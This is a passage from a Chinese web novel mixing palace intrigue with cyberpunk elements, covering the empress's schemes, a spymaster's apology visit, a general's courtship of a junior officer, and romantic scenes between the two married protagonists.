“韩复其人性情淡漠,但为了她娘什么事都愿意做,她娘死后更是破罐子破摔般发泄。可想而知她不是没有情感,反而极其需要情感寄托。李渃元恐怕早就在观察她,在她娘死后设局害她,再在她危难之时伸出援手,便是用了这个法子哄得她成为信徒。韩复之后为她创建丽景门,甘愿成为她的脏刀,甚至不惜以身练毒,可想而知李渃元与她而言极其重要。李渃元手段不凡,这是肯定的,不然无法稳坐帝位二十多年。”
边烬对死城孤儿的心态十分了解,因为她也一样。
不是没有情感,反而极其需要情感寄托。
所以,当初小沈逆握住她手指的那一刻,她想到的是“这孩子需要我”吧。
沈逆难过地想,在死城流浪的那些年,生命才刚刚开始的那些年,吃了那么多苦的边烬,还是愿意收养素未谋面的陌生小孩。
边烬正说着韩复的事,忽然眼前浮现一行字。
亲密度加了一。
边烬:?
还是很喜欢师姐。
“喜欢”的情绪从沈逆心口里不受控制地往上涨潮。
无论是人生初始,还是现在,沈逆都需要她。
边烬不知道为什么沈逆突然吻上来,但这次的吻和先前略有些不同。
不是深入占有,而是缠绵地想要与她融为一体。
小舌一点点疼惜地抚过唇齿,边烬快要被这份炙热的情愫融化,双眸软软地闭上。
这些日子被边烬呵护着,沈逆已然忘乎所以,跨坐到边烬身上,一边说“师姐抱我”,一边将她唇舌启得更开。
边烬被她吻着,还轻缓地抚她的后脑勺。
像纵容最心爱的小兽,在自己怀里娇蛮放纵。
第69章
这一夜,韩复一直守在李渃元寝殿门口。
内侍跟她说了,陛下身体抱恙,谁也不见。
韩复不走,一直站在殿前。
内侍都睡了一轮觉了,醒来一看,韩复还在。
内侍有些犯难,上前想继续将韩复劝离,却听寝殿里李渃元道:“阿复,你进来吧。”
韩复走入殿内,见李渃元卧在床上,看见韩复正要开口,一阵惊天的咳嗽。
韩复立即上前,“陛下,需要宣太医吗?”
李渃元摇了摇头道:“就算让他们来,也只能开一些治疗咳疾的药。这么多年了,他们根本诊断不出朕得了什么病。一直死不了,也无法好转。你让他们来,回头朕若真的宾天,这些人不得都陪葬么?犯不着的。”
韩复攥紧拳头,深吸一口气道:“陛下万岁。”
李渃元又咳了两声,向韩复伸手。
韩复感受到空气的流荡,知道李渃元想牵她的手,主动抬起双手,将李渃元冰冷的小手焐到掌心里。
“没有人能永远不死的,阿复。”
韩复垂着头,用指腹勾勒着李渃元手掌的轮廓,仿佛要将这轮廓深深刻入记忆里。
“没有人能永远不死,但是,机械可以永生。”
李渃元笑了起来,“没想到这句话能从最讨厌机械的你口里说出来。”
韩复是这个世代的异类。
在机械大行其道的时候,她浑身上下没有一个地方替换成了义体。
当初她双眼因练毒而毁,也没有听从机械师的建议,将它们替换成义眼。
用她的话来说,就是“宁愿不能视物,也绝对不被机械污染”。
当初的傻子,如今成了黑魔方绝对吞噬不了的独特存在,像一个讽刺的符号,扎在了这浑噩荒诞的时代。
李渃元身体日渐虚弱,最高研发署和内廷的机械师早就创造出了全机械化的机械人,技术已经接近成熟。连专门为李渃元定制的“重生计划”也早就做了好几个方案,确保万无一失。
只要李渃元愿意,重生计划就会启动。
重生计划有两种模式。
一是移植大脑模式。这种模式适用于李渃元大脑完好无损,只有身体其他器官被疾病或意外破坏,造成生命质量的严重下降,甚至危及生命的情况。将大脑移植到纯机械体之内,往后更换器官和身体零件就更加方便了。
当然,人类的原生大脑也有衰老,死亡的一日,这是现今科技依旧无法挽救的极端问题。
另一种是记忆移植模式,顾名思义,就是将人类大脑的所有记忆复制一份,再传输到另外一个身体里。
这恐怕是所有模式、计划的殊途同归。想要依靠机械永生,最后都需要踏上记忆移植这条路。
已经有人这么做了,复制所有的记忆进入纯机械体也好,进入其他硅基形态甚至电子形态也罢,他们都能继续和亲友交流,甚至生活在一起。
可李渃元不愿这么做。
她对此感到恐惧。
对记忆移植模式,李渃元只提了一个问题:“谁能保证在全新的载体里醒来的,还是我?它只是复制了我的记忆,我的灵魂还遗留在原本的身体里。你们要怎么复制我的灵魂?”
李渃元的提问,让重生计划所有成员哑然。
复制了记忆,重塑一个全新的“大脑”,再装入新的身体里,那就是重生吗?
你还是你,你的灵魂还会在吗?
没人能回答她这个问题。
所以迄今为止,李渃元即便病情愈发严重,重生计划依旧没有端到台面上来。
寝殿陷入一时的寂静。
李渃元咳了两声,打算说点别的。
“听说你们丽景门和靖安侯府,因为一个小女官闹出了好大的动静。”
韩复“嗯”了一声。
“没死吧。”
“没有。靖安侯府也只是威慑丽景门。”
李渃元笑道:“朕只不过想让你敲打敲打,怎么还弄得人尽皆知了?传出去还以为朕与靖安侯君臣不和呢。”
韩复顿了顿,想说什么,又压了下去。
“以靖安侯的脾气,早朝时肯定要参你。”
韩复冷笑道:“她瞒着修好边烬的事儿不报,若要参,微臣自与她对参。”
李渃元手从她掌心里抽了出来,又拍在她手背上。
“阿复,你了解边烬,却小看了沈逆。她俩都去民政司开通连理模块了,恢复边烬记忆一事不可能瞒得住,她需要向朕交差,但这只小狐狸不可能不讨点好处。估计她早就打算将边烬康复一事抛到明面上,一直在等待最佳时机。阿复,这件事你便是给她了机会。”
韩复眉心微皱,被李渃元这么一提点,明白了。
“所以沈逆会以修复边烬已有进展,却因为我,边烬险些再度受伤,差点功亏一篑为由参我。甚至以此为借口,再拖延回报探查边烬记忆进度的时日。”
李渃元道:“主要参你,连带着丽景门可能都会遭殃。如今吏部的人都为她马首是瞻,正是在千方百计讨好她的时候,或许无需她自己开口,吏部就会帮她办妥了……”
提及吏部,韩复想到了李极,觉得李渃元丝毫没有提及李极在郊外被异兽群围堵一事,的确和自己所想一样反常。
看来全境追踪器的确是李渃元用她自己的权限切断的。
可是,李渃元是怎么操控得了异兽?
虽然不知道原因,但在城郊时,当着南衙十二卫和沈逆边烬的面,韩复还是帮李渃元遮掩了过去,不让南衙十二卫细查现场,以免被发现异兽的行为异常,令不该知道的人起疑。
“……所以,此事得在朝堂之外解决,别让靖安侯真的借故继续拖延下去。”
韩复走了一会儿神,没太听清李渃元方才在说什么,不过跟随她这么多年,为她办了太多事,自然明白她想让自己怎么做。
“微臣会办妥的。”
“委屈你了。”
“不会的。”
和边烬手段类似,李渃元不过是想借丽景门的手去向靖安侯府施压。
博弈,不是图穷匕见,博的是心态,是威慑。
甚至醉翁之意不在酒。
如果边烬真的在丽景门大开杀戒,那李渃元便多了一个拿捏靖安侯府的筹码。
与此同时,用丽景门拖住靖安侯府的步伐,无论靖安侯府和安王有没有勾结,都是消除了一个可以驰援安王的隐患。
李渃元最想要的,还是安王死。
丽景门只是李渃元的一把刀,没人会在乎刀断不断。
丽景门折了,还有南衙十二卫,甚至还有世人暂时看不到的新棋子。
帝王不可能只有一把刀,断了再换便是。
只可惜,安王布下的暗卫比李渃元想的还要多得多。
而李渃元太想让安王死了,以为这次一击即中。人算不如天算,她在孤注一掷的时候恐怕没有想到。此举非但没能真的杀了安王,还暴露出与黑魔方之间的牵扯。
安王大概率是没有死的,只是损兵折将,得休养一阵子才能缓过劲来。
安王休养的这段时日,李渃元又可以继续布局。
两人的争锋还在水面下。
不过韩复有一点非常好奇。
李渃元言语间,似乎挺真心实意想让沈逆修好边烬。
李渃元当初赐婚这二位,韩复反对过。
沈边二人是帝国目前明面上唯二的双S级天赋者,即便边烬重伤,若两人连心,必定是巨大的威胁。
韩复一直在想为什么陛下能冒这个险,让她们俩朝夕相对,直至今日依旧想不明白。
而且韩复留意到,李渃元在暗中撮合沈逆和永王。
永王的生辰庆典,邀请百官贺寿,便是李渃元的手笔。
可惜永王是个薄脸皮,没能成事。
只是,李渃元想要离间沈逆和边烬这件事就更让韩复不解了。
既然要离间,当初为什么要赐婚?
李渃元是真的想知道叛国罪的真相?
还是即便冒着风险,也想边烬能康复?
毕竟能修好边烬的,只有沈逆。
边烬的彻底康复,对帝位而言绝对不是一件好事,可李渃元就是这么做了。
结合异兽被操控袭击李极之事,韩复心态更加复杂。
有时候她觉得自己很了解李渃元,连没说出口的话她都能读懂。
有时候,她又觉得李渃元的行为让她极其陌生。
仿佛这位天子身上藏着两种截然不同的思维.
窦璇玑收到沈逆的结交信之后,睡了一夜的好觉。
没有做梦,也没有忽然惊醒,一觉睡到次日晌午。
她从没睡得这么久过,久到她自己都觉得不可思议。
房判说:“因为你有了靖安侯府这条退路了吧,所以安心不少。”
房判这只装着食物的脑子,偶尔也会蹦出几句让窦璇玑信服的话来。
沈逆给她写的结交信,她给房判看了。
房判万分羡慕,窦璇玑说:“你傻啊,咱俩搭档,我的朋友自然也是你的朋友。”
房判:“可是,若你离开了丽景门,咱们就不是搭档了。”
一句话给窦璇玑说沉默了。
这两日窦璇玑一直都在等着韩复来查她的伤势,也做了些准备,没想到韩复始终没出现。
当初边烬落那一刀前,就解答过她的担忧。
“你们门主不会查的。”
起初窦璇玑还不信,这两日下来她信了。
边烬到底是曾经的北境总都督,见识和手段远在她之上。
边烬早就看出来了,窦璇玑只是韩复用来威慑靖安侯府的棋子。
威慑后,她的死活并不重要,不值一探。
过往那个为了门主卖命的窦璇玑,雨夜之后不复存在。
曾经浑身的干劲,不眠不休的力气,全部消失殆尽了。
她陷入了前所未有的疲软和迷茫。
这日午后,院内空空,其他同僚都出勤了,只剩窦璇玑和房判两人。
窦璇玑在院子里揪了根野草,一边思索着一边随手编了只蚂蚱。
窦璇玑看着荒芜的院内出神。
“我还没决定好。离开丽景门需要交还玉璧的,而且当差这么多年,外面全是仇家,谁听到丽景门这三个字不骂一句?没有丽景门在身后护着,还失去了玉璧,下场可想而知。”
房判:“你可以去当靖安侯府的门客啊,侯君出手应该挺阔绰的,说不定还能再攒出新的玉璧的银子呢。以侯君的威名,应该也没人敢动靖安侯府的人。”
窦璇玑将编的蚂蚱随手丢到案上。
房判说的是没错,她是可以去当沈逆的门客,甚至护院都行。
可是她若走了,房判怎么办?
就房判这性子和天生的缺心眼,别说门主会不会找她麻烦,换个像队正这样冷酷的搭档都够她受的。更不用说第三小队,还曾经有人为了自己立功,故意让搭档送死的。
房判怎么看都像那个会被送去当祭品的傻子。
傻子完全没察觉到窦璇玑的心思,还说:“你编的蚯蚓怎么随便放,回头该找不着了。”
“……那是蚂蚱。”
房判改口道:“咦,你手蛮巧的哎。”
“那你说是蚯蚓?”
房判:……
窦璇玑你真的很难伺候!
房判在心里狠狠骂她一句。
俩人正聊着,忽然身后的小窗传来一阵响动。
房判想说什么,被窦璇玑一下子捂住了嘴。
窦璇玑比了一个噤声的手势,警惕地往窗户方向看,窗外传来三声敲击声,像叩门。
窦璇玑更疑惑了,走到窗边,问:“谁?”
“是我,小狗。”
“……”
方才还警惕到发尖的双眼立即垮下来。
“我不认识什么狗,滚。”
“你是小狗。我来找小狗的。”
“想死?”
李司“哎呀”一声:“有正事,放我进去当面商议吧。”
窦璇玑忽然想到一点,淡淡地看了房判一眼。
房判:?
窦璇玑将窗打开,李司一个挺身,像鱼一样游了进来,轻声落地。
李司也不知是为了行走轻便不易被发现,还是有什么其他考量,今日脱去了铠甲,只着武将的官服,红色圆领袍衬得她英姿勃勃。
环视一圈,意料之内,连张交椅都没有,李司很自来熟地盘腿坐在地上。
“听说你受伤了,特意来看看,怎么面都还没见到就凶巴巴的?”
窦璇玑靠在一旁,自上而下冷眼瞧她。
“我也没求你来看啊。”
李司心里砰砰直跳,就是这种随时随地拿眼神踩人的模样,太辣了。
“行,算我自己上赶着非要来看你行吧?听说你中了一刀,怎么看着气色还不错啊。”
“没什么事,劳烦李司将军惦记了。”
窦璇玑双臂抱在身前,寝屋里多了一个陌生人让她不太自在,从门口踢了把椅子过来给李司,顺便看了一下,确定没人后将门关上。
李司开心地坐到窦璇玑给她的椅子上,还没坐稳,窦璇玑冷不丁丢出一句:
“给我换玉璧花了多少银子?”
李司“咦”了一声,去看房判。
房判立即道:“我可没说!”
李司指着她,“你……行吧,本来还是悬案,你这样一开口给坐实了。”
房判:“唔。”
李司问窦璇玑:“你怎么知道的?”
窦璇玑:“知道我寝屋在哪,必定是来过了,但我却不知道,大概率是我不省人事的时候来的。加上你是机械师兼医师,给我换玉璧的能是谁?还用猜么?”
说完,窦璇玑慢悠悠地喝口水。
李司望着她,笑道:“真挺聪明的,那咱俩什么时候成亲?”
窦璇玑一口水喷在房判身上。
房判:……
怎么突然说这么私密的话题?
房判:“我,我走了。”
窦璇玑咳嗽着,一把将她拉回来,红着脸道:“你走什么!你必须在这儿!”
李司看看窦璇玑,又看看房判,结合她俩的亲密无间,懂了。
“若是你俩分不开……一同到我将军府照顾着,也行。”
窦璇玑骂道:“你想的挺美!”
李司正色道:“我可不是因为帮你换了玉璧,过来趁火打劫。瞎子根本不把你们当人看的,何必为不在乎你的人卖命?嫁给我既不必担心仇家来寻,还有人把你当宝贝一样疼着,以后你想做什么都可随心,我的俸禄也足够养活你,何必留在这里吃苦受气?”.
城郊的异变完全没有传入长安城的百姓耳朵里。
那夜满地的残肢和无数人命销声匿迹,无论是万维网上还是人们的口中,没有半点关于这件事的痕迹。
沈逆和边烬今日一同来做夏衣。
沈逆惦记着夏衣的样式,边烬则全程都在留意坊间民众的交谈。看来这次异兽袭击安王,的确是李渃元所为。只有她才能让这么大的动静完全消失于众人嘴边。
边烬神情冷肃,立在墙后正在听一群大姨闲叙。
忽然脸庞被戳了一下。
边烬:?
原本如刀般的双眼变圆。
戳她的沈逆从她身后探出脑袋。
“不是说好一起来做夏衣的,结果一回头,人呢?害我找半天。”
不想被大姨们发现,边烬拉着她离开,回到裁缝店门口,边烬才道:“我在探听情报。”
沈逆挽住她的胳膊,生怕她又一言不发找不到人。
“别探听了,城郊的事没有半点风声。别说坊间,就是暗网上都没有人能说上半句的。此事有人亲自划下句点。若不是咱们亲眼所见,恐怕也得被蒙在鼓里。上面那位办事,向来都是这么利索。”
店主见预约好的大主顾来了,立即和店员们迎上来。
沈逆先去量身,拍了拍边烬的胳膊道:“别再跑了,你知道你啊,很难找。”
店主听沈逆这话,心里蓦地替她一紧。
坐着的那位可是知名煞神,第一次见到本人,长得是美得紧,可也真的冷。面相有点怕人,这位靖安侯居然这么不客气么?别两人在她这小店争执起来,她可消受不起。
没想到,边烬“嗯”了一声,竟是顺从地温和应一句:“知道了。”
店主松了口气,原来靖安侯这是恃宠而骄。
沈逆量完尺寸之后试了几件店里新上的裙子,问边烬好不好看。
脱去了厚重的冬装,沈逆忽然穿上轻薄夏裙出现在边烬面前,画上一对月棱眉,窄袖灵动的间裙染着明艳的色彩,撞入边烬的眼眸里,纤长柔美的曲线好似仙人下凡,灼得边烬一晃神。
“好看。”
沈逆又换了一身,花钿满额头斜红点点,宽袖低胸满头金钗,好生雍容自信。
“这身呢?”
边烬瞧着她轻纱之下隐约可见的雪肩,耳尖有些热,目光移了移,回道:
“也好看。”
沈逆狐疑着,再换一身圆领胡服出来让边烬看。
“不会还是一样的回答吧?”
这身胡服当下男女都皆可穿,轻便英气,算是最为流行的普通款式,边烬看了依旧说:
“好看的。”
沈逆:……
怀疑师姐在敷衍。
边烬有口难言,她是真的觉得沈逆穿什么都漂亮不凡。
只可惜她口拙,想不出其他夸奖的词藻。
店主在一旁笑眯眯地解围道。
“夫人的意思是,侯君丰姿冶丽,再普通的衣衫上了侯君的身上都无可挑剔。”
边烬是这个意思,只是被店主用这么不正经的口吻解释出来,多少有些让人羞耻。沈逆肯定也会觉得是一派浮文巧语,不会当真。
谁知沈逆双眼明动,问边烬:“真的吗?”
边烬:……
没想到当真了。
边烬看她开心,不愿扫兴,便只能硬着头皮接下这浮浪的夸赞。
“嗯,真的。”
沈逆开心,对店主说:“劳烦,这三套都帮我装起来。”
店主眉开眼笑道:“好咧。那接下来夫人去量量身?”
沈逆知道自己小气,即便是量身也不太愿意别人触碰到边烬,而且边烬洁癖严重,肯定也会不自在。
沈逆说了句“不用”,随后将边烬的尺寸写给店主。
她记性好,从前在双极楼时也需采买衣衫,边烬太忙,都是她帮着边烬购置,边烬的尺寸她自然记在心上。
店主不知想到了什么,艳羡地看着边烬道:“侯君体贴,夫人可真幸福。”
边烬一阵沉默。
算了,毕竟她和沈逆名义上是双妻,旁人联想到一些轻浮的事在所难免。
更何况,现在她俩恐怕不仅是名义上的双妻。
毕竟每夜耳鬓厮磨,唇齿相缠。寻常双妻恐怕也不过如此。
思绪至此,边烬目光被沈逆那双唇吸引过去。
沈逆为了试衣稍微上了点妆,形状极美的唇微启一丝缝隙,很矜持般,不似夜半独处时那般热情火热,占有欲极盛。
“夫人。”
那双唇突然点了边烬。
边烬蓦然回神,发现自己刚才在想一些糟糕事,怎地最近愈发不像话。
努力正回精神,沉声问道:“怎么?”
沈逆忽然挨过来,鼻尖险些相触。边烬以为她要在此处吻她,双手压在她肩头,低喊一声:
“沈逆!”
沈逆却说:“我收到一封拜帖。正要给你过目。”
边烬尴尬地错开视线。
“原来是看拜帖。”
“你以为我要做什么?”
沈逆明知故问。
“……是谁的拜帖。”
边烬觉得自己因为亲密度的事情,整个人变得很陌生。以前她何时惦记过这等事?
沈逆看她耳朵红红的,转移话题的样子实在太可爱,没忍心再闹她。
“韩复的拜帖。她想明日一早造访。”
“韩复”二字一出,边烬也算明白沈逆为什么挨这么近,与她说小话了。
边烬“嗯”了一声道,竟不意外。
“比我料想来得慢了。”
第70章
昨日李司翘班偷偷溜进丽景门,跟窦璇玑诉衷肠之后,窦璇玑当场就回应了她。
赐给她一个新鲜的“滚”字。
李司:“没事,今天你不答应没关系,明日我再来问问。”
窦璇玑:“你还来?知道我为什么被插了一刀吗?就是因为我结识门外人。你再来万一被发现,我这命还要不要了?”
李司:“那我晚上趁黑摸进来。”
窦璇玑脸都被她气红了。
“半夜爬窗,亏你想得出来。说出去还真以为我和你有什么事呢。”
李司见她嫌弃,心想也是,自己今天空手而来,说什么成亲,一点都不真诚,难怪人家小娘子不乐意。
李司浑身上下摸了一遍,摸到蹀躞带时,忽然眼睛一亮。
“说起来真有缘。”
李司将蹀躞带上的一枚腰饰取下,非常漂亮的星蓝色石头,打磨妆点得很精致,塞给窦璇玑。
“这叫璇玑石,与你同名。若不嫌弃你收下它,算是咱俩的定情信物。”
窦璇玑:“谁跟你定……你拿回去。”
李司:“你若不要就丢了吧。”
“你耍无赖?”
李司看得出窦璇玑是个嘴硬心软的人,笑眯眯道:“对,我耍无赖。行了,一会儿你们同僚该回来了,我该走了,明天再来看你。”
“等会,明日你真别来了,不够添乱的。而且我明日有些事要办,不在这儿。”
“什么事?你都挨了一刀了,还要出门办事?”
“不是办差事。”
其实她是想去一趟靖安侯府,想回应沈逆的结交信。
“有什么事啊我帮你去办了行不行?你好好养伤,有空重点想想咱俩的事。”
窦璇玑被她弄得嘴角一抽,也行吧,其实无论是她还是房判,此刻都不太适合出现在靖安侯府。
“那,李将军,下官就不客气劳烦您一趟了。”
窦璇玑请人办事的时候多少给了个好脸,虽然皮笑肉不笑的模样看上去有点瘆人吧,起码算是窦璇玑第一次对她真心实意地笑了。
窦璇玑已经能自理了,可之前边烬交代过,这十日之内最好多卧床静养,不要走动操劳,不然康复时日得延长。
她是不太方便出丽景门,但想给沈逆送点回礼。
无论最后她作何决定,沈逆对她的恩情和推心置腹她挂在心上,想尽快回应。
可惜她没加过沈逆好友,没法飞鸽传信。而且沈逆寄来亲笔信,她回一封电子的,不太礼貌。
现下这么敏感的节骨眼,若是她或房判跑去靖安侯府,都容易再生枝节。
要是李司能代她去就不一样了。
李司是金吾将军,整个长安城她不能去的地方少之又少,去靖安侯府拜访,谁也说不出一句不是。
“不是。”李司问她,“你是要我替你去给沈逆送礼?”
从来没给谁送过礼的窦璇玑被她这么一总结,也有点不好意思。
似乎有巴结红人的嫌疑,可她的确只是想要回应那封结交信。
“不方便就算了。”
李司:“不是不方便,是……”
李司没好意思说,先前她给沈逆那两口子下过套,还被人当场戳穿。随后又被沈逆揪到御前演了好大一场戏,现在提到那只小狐狸她还有点应激。
可是,打心底里又不想让窦璇玑失望。
还想娶人家呢,一个小忙都帮不了,往后的事更不好谈。
也行吧,李司心道,就当去靖安侯府露个脸,探个虚实了。
要是她和窦璇玑这事儿真的能成,夫人的朋友就是自己的朋友,得和平相处。
李司让窦璇玑给她礼物清单,她去筹备。
窦璇玑望着她认真的脸,忽然问:“李司,你多大了?”
这么一提李司才想起来,两人还完全不了解彼此,连年龄都不知道,这就跟人提成亲的事,不像话。
李司:“过了孟夏就三十了,正当而立之年。”
李司说的时候还挺自豪的,毕竟她是南衙十二位将军中最年轻的,一身功勋全都是自己争回来的,含金量也是最重。
没想到房判小声道:“璇玑,她比你大十一岁哎。”
李司:??
窦璇玑一时无语。
还以为李司是皮肤黑显年长,原来本来就年长。
窦璇玑:“你为何到了这岁数还未成亲?”
李司:“……我这岁数?我什么岁数,我正当年好不好?贞观年间最年轻的金吾将军!是你年纪太小了吧,我还想问问你这点年纪已经在丽景门多少年了,你们丽景门是不是雇佣童工?”
没两句话两人就开始斗嘴,当初在东市差点打起来的气氛忽然又至。
这小小寝屋里的第三个人已经吓成了根棍。
房判赶忙道:“这……是我多言了。璇玑,年纪大会疼人。”
窦璇玑:“疼不疼人不知道,烦人倒是显而易见。李将军,不送了。”
踩人眼神又踩到李司心上,刚才还叫全名,现在又叫回了李将军。
李司在军中发号施令惯了,这凶神恶煞的样子恐怕是难讨小娘子欢心。
她改还不行么。
离开丽景门后,李司还是为窦璇玑准备好了礼物,发了拜帖,前往靖安侯府。
进了靖安侯府大门,震惊于这雅致的院落,小桥流水,花团锦簇,一派过日子有媳妇人家的温馨。
李司提着礼物跟随侍女到了内院,正要往里走,被人一把拉住后领子,拽到了一处花丛之后。
李司心下正是疑惑,靖安侯府还闹贼了不成?
这贼好大的胆子,把她拽到此处是想敲闷棍?
回头一看,竟是靖安侯本人。
沈逆拉着李司坐到备好的蒲团上,递给她一碟炸得酥酥脆脆的地豆。
“坐。”
李司:?
沈逆用下巴点了点内院茶斋。
“韩复在里面。”
李司一惊,韩复?那不就是丽景门门主?
幸好沈逆拉了她一把,不然被韩复知道她替窦璇玑送礼来,可要出大事。
李司:“我今日……”
“知道。”沈逆道,“窦女郎让你来的。”
“你怎么知道?”
沈逆往嘴里丢了一颗地豆。
“秘密。”
李司:……
这烦人的臭狐狸,肯定有事没事就黑入帝国监控系统,到处偷看。
丽景门后门就有个监控,李司去的时候已经破坏了,不过去的路上还有无数监控,肯定会露出破绽。
李司猜对了一半。
沈逆才没空去黑什么帝国监控系统,只是给侦查鸟安装了针对帝国天眼的隐身功能,在她在意的几处投放、监视。
丽景门必然是她最近关心的地点,就算李司弄坏了丽景门的监控,她撅着屁股进进出出的样子也都被沈逆看个正着。
李司气呼呼地吃了一颗地豆,香脆的口感和丰富的油脂让她一怔。
有媳妇的人简简单单一盘地豆,居然也能这么好吃?
李司边吃边和她一起透过花丛去瞧茶斋。
茶斋内,韩复和边烬相对而坐,距离远两人说话声音又刻意放低,听不清。
李司问:“这瞎子是来挑衅的吗?”
“不,来道歉的。”
李司险些被噎着。
李司:“等会,我是听错了么?道歉?丽景门门主的字典里,居然有道歉这两个字?”
沈逆继续吃着地豆。
其实一开始沈逆也觉得挺奇怪,韩复登门道歉,别是个借口。
她都准备好一院子的武器,甚至备好了毒物探测器。
结果韩复还真的带着市售的礼品,连官服都没穿,挂着一脸笑意登门,仿佛真成了许久未见的老友,为丽景门和靖安侯府的冲突来致歉。
边烬让沈逆先别露面,韩复当是受了李渃元的指派,来给那一棒子之后的甜头。但万一还有别的图谋,沈逆在暗处也好随机应变。
沈逆便躲在花丛后暗暗观察,对韩复来致歉一事挺好奇。
听闻吏部尚书连同一群麾下言官,直接在李渃元的御书房狠参了韩复,连带着将这些年丽景门干的恶事儿全都细数了一遍。
据说当时李渃元的脸上相当精彩。
李极吃了个闷亏,肯定要讨回来,吏部和言官就是她刺向李渃元的刀。
谁都知道丽景门是李渃元的心腹,要是能将丽景门扳倒,自然能为李极出一口恶气。
沈逆本来已经拟好了喷韩复的字字句句,没想到吏部尚书先一步替她喷了。
说靖安侯奉命修复边令史,韩复却让丽景门女官上门寻衅滋事,害得边令史迫不得已自保回击。若真出了差错,岂不是让靖安侯这数月的努力功亏一篑?
沈逆的确是这思路,本以为相当刁钻,竟被吏部尚书看了个透彻。要让沈逆弹劾,也差不多就这几句了。
看来这帝国内廷还是卧虎藏龙,一只只老狐狸平时装狗罢了。
听完沈逆说一藏三的原委,李司也真挺服沈逆。
“你夫人让你戒备,你就是这样边吃边戒备的?”
沈逆没法跟半生不熟的李司说,只要有边烬在,她根本什么都不担心。
就算天塌下来师姐单手撑着,还能腾出一只手来抱她。
沈逆对李司比了个“嘘”的手势。
“不然李司将军茶斋里一块喝点?”
李司:……
和那毒物一起饮茶,不怕中毒的,也就姓边的了。
韩复今日来,的确是李渃元授意,息事宁人来的。
手里转着茶盏也没有喝,闲聊了一些死城的往事,见边烬不感兴趣,便说回窦璇玑。
说窦璇玑年轻气盛,不过是提点她几句,就跑到靖安侯府喊打喊杀,惊扰了侯君和夫人,还望侯君和夫人大人有大量,不与她多计较。
韩复随口打官腔,边烬也随意应回去。
“都是陛下的臣子,自当勠力同心,韩门主这些话不必说,我与侯君也是明白的。”
韩复淡笑,正要再开口,边烬先道:“方才你说死城这些年愈发不宜居住,加之黑魔方复苏,异兽横行。”
韩复没想到她又将话头拉回死城,但一来一回间,已经变成边烬掌握主动权。
“正是。你离开的早,那时到底还讲些死城独有的俗律。我走时,连最后的一点规矩都无人遵守了。”
“我听闻从明年开始,不仅本国垃圾可以往死城倾倒,邻国只要交了银子也可以倒。我小时候住过的桥洞恐怕都要被埋了。”
韩复知道这件事是李渃元亲自批允的。
户部每年结算都能结一大笔亏空,李渃元一直都在想方设法开源节流。
同意邻国往死城交银子倒垃圾这项买卖时,李渃元还亲自问过韩复,是否介意。
毕竟那是韩复的“故乡”,也是她阿娘长眠之地。
韩复当然想带她阿娘离开那里。
阿娘活着的时候就想,死了,若是尸首能寻回来,一把火烧尽,骨灰也能带走。
可她阿娘被她的仇家弄死,尸骨无存,无处寻觅,只能和无数的垃圾混在一起,永远留在那狗恶酒酸之地。
边烬的一番话,让韩复想起故去多年,依旧会时时入梦的阿娘。
握着茶盏的指尖渐渐施力。
她知道边烬在暗示什么。
韩复红唇轻扬,“既然是座废城,又有什么好顾忌?能用来倒垃圾,造福城外万民,是死城唯一的价值。”
边烬冷笑一声,嘲讽她言不由衷,奴相尽现。
韩复笑容有些僵。
今日她是受命来致歉,不宜在此发生冲突,寒暄两句之后便要告辞。
出于礼貌,边烬送她至大门口。
韩复走了两步,停下,回头问边烬。
“后来你看到你想看的星星了吗?”
……
韩复走了,沈逆招待李司到前厅坐坐。
正想结党,金吾将军就送上门来,沈逆当然要好好结一结。
两人就要去前厅,听见收拾茶斋的侍女“咦”了一下,随后“啪”的一声脆响,沈逆回眸时,见韩复刚刚用过的茶盏平白无故碎了。
李司查惯了案,一见异动,立即发号施令。
“全都后退,不要碰茶具!”
侍女们惊魂未定,统统后退。
沈逆和李司一同上前查看,掌心扫过,倒是没发现毒液。
倒是炸开的茶水烫的惊人。
那杯是韩复用过的,茶早就倒出来了,怎么可能人都走了,茶水还滚烫到会炸裂茶盏?
“是她的内力残留。”
刚刚送客回来的边烬声音传来。
沈逆:“内力?难怪她没有植入任何机械义体,却能喷射毒液。竟是运用内力?”
边烬宽袖一扫,案上茶盏全部掀入渣斗内,半点不留。
“没错,她修炼的是内功心法,与咱们天赋觉醒是完全不同的体系。她将内力残留在茶水之中,人走了,内力还在,一碰即爆。”
李司:“这瞎子挺邪乎。”
心中庆幸,幸好当初她向韩复挑衅,韩复没真的和她动手,不然现在自己未必是个全乎人了。
领着李司去前厅用茶,沈逆缓了两步落到后面,与边烬说了句耳语。
“另一个意识不是还特意打听李司,想让你注意她吗?现在人在这儿了,师姐尽情打听。哼。”
说完沈逆便走了。
边烬:?
哼?
70-80
第71章
李司留在靖安侯府吃了顿午膳。
本以为这顿午膳会吃的尴尴尬尬,毕竟她算计人家在先,今日又来送礼,她都做好了会被沈逆这张伶牙俐齿刁难的准备。
没想到,靖安侯大人有大量,不但没刁难她,反而还好酒好菜的招待了她。
李司吃得浑身舒坦,直夸你们侯府的主厨洛阳菜做得可真地道,比她将军府的还要顺口。
既然李司自己自曝家乡,那沈逆便不客气,敬了几杯酒,顺势问了许多关于她的私事。
一边问,一边用眼神暗示边烬,速速写入记忆模块,回头说不定都是关键信息。
边烬被她弄得有些无奈,另一个意识是谁,为什么要李司的资料还未可知,师妹这番打听,仿佛都是为了边烬。
边烬的脑子终于转出了正确的解答。
所以,先前那个“哼”,是因为有些不高兴么?
边烬是想用“吃醋”这个词,可沈逆在情感一事上向来从容,都是她被沈逆拿捏,或心中发酸或焦急无措。
而沈逆谈过那么些恋爱,经验丰富,未必会因为这么点小事拈酸吃醋。
可是,扪心自问,若是沈逆能因她吃醋,心内深处又有一些奇异心思在愉悦萌动。
今日主厨的确超常发挥,炙羊肉炙得外皮酥脆,一撕开汁水满盆,格外下酒。
沈逆吃着羊肉就着酒,听李司讲她取下岳国国主首级时险象环生,便多贪了几杯。
还待再喝,一直暗暗注视她许久的边烬拦了一下,对李司道:
“我夫人酒量一般,再喝下去怕是要醉了。”
再转头对沈逆轻语:“陪客人饮酒这事儿交给我吧。”
沈逆不知不觉中的确有些上头,软着声音乖乖应道:
“好,听夫人的。”
这是两人第一次面对面这样互称“夫人”。
即便还是因为有外人在所以才这么称呼,可奇妙的氛围却和之前微妙的有些不太一样。
边烬被她这一声唤得耳热,仿佛喝多的不是沈逆,而是她自己。
李司也喝得不少,见眼前这对双妻忽然恩爱起来,“嚯”了一声。
“你俩,怎么可以在单身人士面前这般恩爱。”
边烬:“……我去看看还有没有其他菜。”
边烬起身,说走就走。
李司心道,怎么走了?自己也没说什么啊,脸皮忒薄。和那只臭狐狸完全相反,平日里也不知道怎么被臭狐狸拿捏。
